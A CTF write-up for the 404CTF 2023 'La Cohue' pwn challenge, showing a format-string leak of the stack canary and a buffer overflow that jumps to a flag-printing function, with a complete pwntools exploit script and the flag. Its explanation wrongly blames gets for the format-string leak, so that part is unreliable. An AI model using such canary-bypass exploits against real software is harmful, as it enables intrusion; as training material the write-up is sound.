Home CTFs | 404CTF_2023 | Pwn | La Cohue
Post
Cancel

CTFs | 404CTF_2023 | Pwn | La Cohue

La Cohue

image

In this challenge, we are given an ELF executable available here. If we look at the code in Ghidra, we can see a canary function that prints the flag. The executable allows us to discuss with Francis that lost his canary. With all of this canaries, we can guess that this challenge want us to do a buffer overflow and bypass the canary.

Format string

As we can see in the code, there is the gets function that will print our input. gets function in C is vulnerable to format string attacks. The gets function is used to read a line of input from the standard input and store it into a buffer. However, it does not perform any bounds checking on the input, making it susceptible to buffer overflows and format string vulnerabilities.

image

We can try using a basic payload like %p to see if anything happens:

image

Get the canary address

As we can see, we have an address displayed. We can continue to do so until we find the address of the canary. The address of the canary is easy to find, it is the only one that finish with some zeros at the end. We can use %i$p where i is an integer. This is used to read the value from a specific position on the stack. Here’s a breakdown of the notation:

1
2
%i: It specifies the position of the address we will display
$p: It indicates that the value to be printed is fetched from the stack at a specific position indicated by the integer value i.

So we can do for example %1$p %2$p %3$p %4$p %5$p %6$p %7$p %8$p %9$p %10$p:

image

We don’t see anything interesting here. The strings at the end that look like 0x2432252070243125 are just our input. If we decode 0x2432252070243125 to ASCII characters, we get $2% p$1%. We can continue with the values from 11 to 20 and we have:

image

We can see that the address at position %17 is 0xea9dd891cb4be500 wich ends with 00. This may be our address. We can run it a second time to confirm that it is the good one:

image

As we can see, the address changed but still ends with two zeros. This should be the address of our canary. Because there is no ASLR on this program, we can get the address of the canary function using Ghidra or Gdb:

image

Craft our payload

Now, for our payload to work correctely, we need to find the offset value, that can be found in the choice function:

image

Now we have everything we need. We can use the following code to get the flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
warnings.filterwarnings("ignore", category=BytesWarning)
#io = process("la_cohue")
io = remote("challenges.404ctf.fr", 30223)

io.sendline("2")
# try with %10$ ... %20$p => find an address like 0x...00 => this address is the canary address
io.sendline("%17$p ")

io.recvuntil("[Vous] : ")
addr_canary = io.recvline()[:-1].decode()
print("@ canary:", addr_canary)

#String to hex
addr_canary = int(addr_canary, 16)
#convert to address format
addr_canary = p64(addr_canary)

aff = io.recvuntil(">>> ")
#address of the function named Canary (found in Ghidra or objdump -d | grep canary)
addr_fct_canary = p64(0x00400877)

offset = 72
payload = b"A" * offset + addr_canary + 8* b"A" + addr_fct_canary

io.sendline("1")
io.recvuntil("[Vous] : ")
io.sendline(payload)
print(io.recvline().decode())
io.recvuntil(">>> ").decode()
io.sendline("3")
print(io.recvline().decode())

print("Flag : "+io.recvline().decode())

image

We get the flag 404CTF{135_C4N4r15_41M3N7_14_C0MP46N13_N3_135_141553Z_P45_53U15}

This post is licensed under CC BY 4.0 by the author.